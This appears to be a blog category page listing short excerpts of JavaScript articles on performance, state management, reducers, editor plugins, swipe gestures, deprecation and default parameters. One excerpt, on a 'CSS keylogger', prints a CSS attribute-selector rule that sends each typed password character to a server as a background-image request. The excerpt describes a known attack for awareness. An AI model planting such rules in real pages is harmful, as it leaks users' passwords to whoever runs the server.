JavaScript

The Cost of JavaScript in 2018

Even though we mentioned it earlier, I thought this outstanding post by Addy Osmani all about the performance concerns of JavaScript was still worth digging into a little more.

In that post, Addy touches on all aspects of perf work and how we can fix some of the most egregious issues, from setting up a budget to “Time-to-Interactive” measurements and auditing your JavaScript bundles.

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Build a state management system with vanilla JavaScript

Managing state is not a new thing in software, but it’s still relatively new for building software in JavaScript. Traditionally, we’d keep state within the DOM itself or even assign it to a global object in the window. Now though, we’re spoiled with choices for libraries and frameworks to help us with this. Libraries like Redux, MobX and Vuex make managing cross-component state almost trivial. This is great for an application’s resilience and it works really well with a state-first, reactive framework such as React or Vue.

How do these libraries work though? What would it take to write one ourselves? Turns out, it’s pretty straightforward and there’s an opportunity to learn some really common patterns and also learn about some useful modern APIs that are available to us.

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Anatomy of a malicious script: how a website can take over your browser

By now, we all know that the major tech behemoths like Facebook or Google know everything about our lives, including how often we go to the bathroom (hence all the prostate medication ads that keep popping up, even on reputable news sites). After all, we’ve given them permission to do so, by reading pages and pages of legalese in their T&C pages (we all did, didn’t we?) and clicking on the "Accept" button.

But what can a site do to you, or to your device, without your explicit consent? What happens when you visit a slightly "improper" site, or a "proper" site you visited includes some third-party script that hasn’t been thoroughly checked?

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Understanding the Almighty Reducer

I was recently mentoring someone who had trouble with the .reduce() method in JavaScript. Namely, how you get from this:

const nums = [1, 2, 3]
let value = 0

for (let i = 0; i < nums.length; i++) {
  value += nums[i]
}

...to this:

const nums = [1, 2, 3]
const value = nums.reduce((ac, next) => ac + next, 0)

They are functionally equivalent and they both sum up all the numbers in the array, but there is a bit of paradigm shift between them. Let's explore reducers for a moment because they're powerful, and important to have in your programming toolbox. There are literally hundreds of other articles on reducers out there, and I'll link up some of my favorites at the end.

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Turn Sublime Text 3 into a JavaScript IDE

Sublime Text is one of the most popular editors for web development and software development in general. It’s very smooth and fast compared to other editors (being written in C++ helps that speed). Sublime also has tons of plugins you can find through Package Control.

But it’s only a text editor and not an IDE. An IDE is a software application that provides comprehensive facilities to computer programmers for software development. In fact, Sublime doesn’t offer features like debugging tools, built-in tools for compiling and running applications, intelligent code suggestions, or code refactoring. Instead it offers a set of APIs you can use to extend it. Here’s an introduction to the JavaScript Enhancement plugin (my own creation) that makes Sublime a bit more IDE-like for JavaScript development.

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Simple Swipe With Vanilla JavaScript

I used to think implementing swipe gestures had to be very difficult, but I have recently found myself in a situation where I had to do it and discovered the reality is nowhere near as gloomy as I had imagined.

This article is going to take you, step by step, through the implementation with the least amount of code I could come up with. So, let's jump right into it!

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Approaches to Deprecating Code in JavaScript

Recently, I had to dig into the topic of code deprecation in JavaScript. I feel like this topic gets less coverage even though it may a play key role in certain projects, especially when working in bigger teams or dealing with external APIs.

In JavaScript-land, I don't know of any true industry standards for deprecating JavaScript. It could be different per any team, library or vendor.

That’s why my goal here is to sum up my findings and thoughts on this topic, alongside some good practices when it’s time to mark a JavaScript method obsolete.

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CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

At first, I was like wait a minute, you can't select inputs based on what people type in them but only what's set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

How useful and widespread is it to select inputs based on the value attribute like this? I'm not sure I would miss it if it got yanked.

The JavaScript Learning Landscape in 2018

Raise your hand if this sounds like you:

You’ve been in the tech industry for a number of years, you know HTML and CSS inside-and-out, and you make a good living. But, you have a little voice in the back of your head that keeps whispering, "It’s time for something new, for the next step in your career. You need to learn programming."

Yep, same here.

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Using Default Parameters in ES6

I’ve recently begun doing more research into what’s new in JavaScript, catching up on a lot of the new features and syntax improvements that have been included in ES6 (i.e. ES2015 and later).

You’ve likely heard about and started using the usual stuff: arrow functions, let and const, rest and spread operators, and so on. One feature, however, that caught my attention is the use of default parameters in functions, which is now an official ES6+ feature. This is the ability to have your functions initialize parameters with default values even if the function call doesn’t include them.

The feature itself is pretty straightforward in its simplest form, but there are quite a few subtleties and gotchas that you’ll want to note, which I’ll try to make clear in this post with some code examples and demos.

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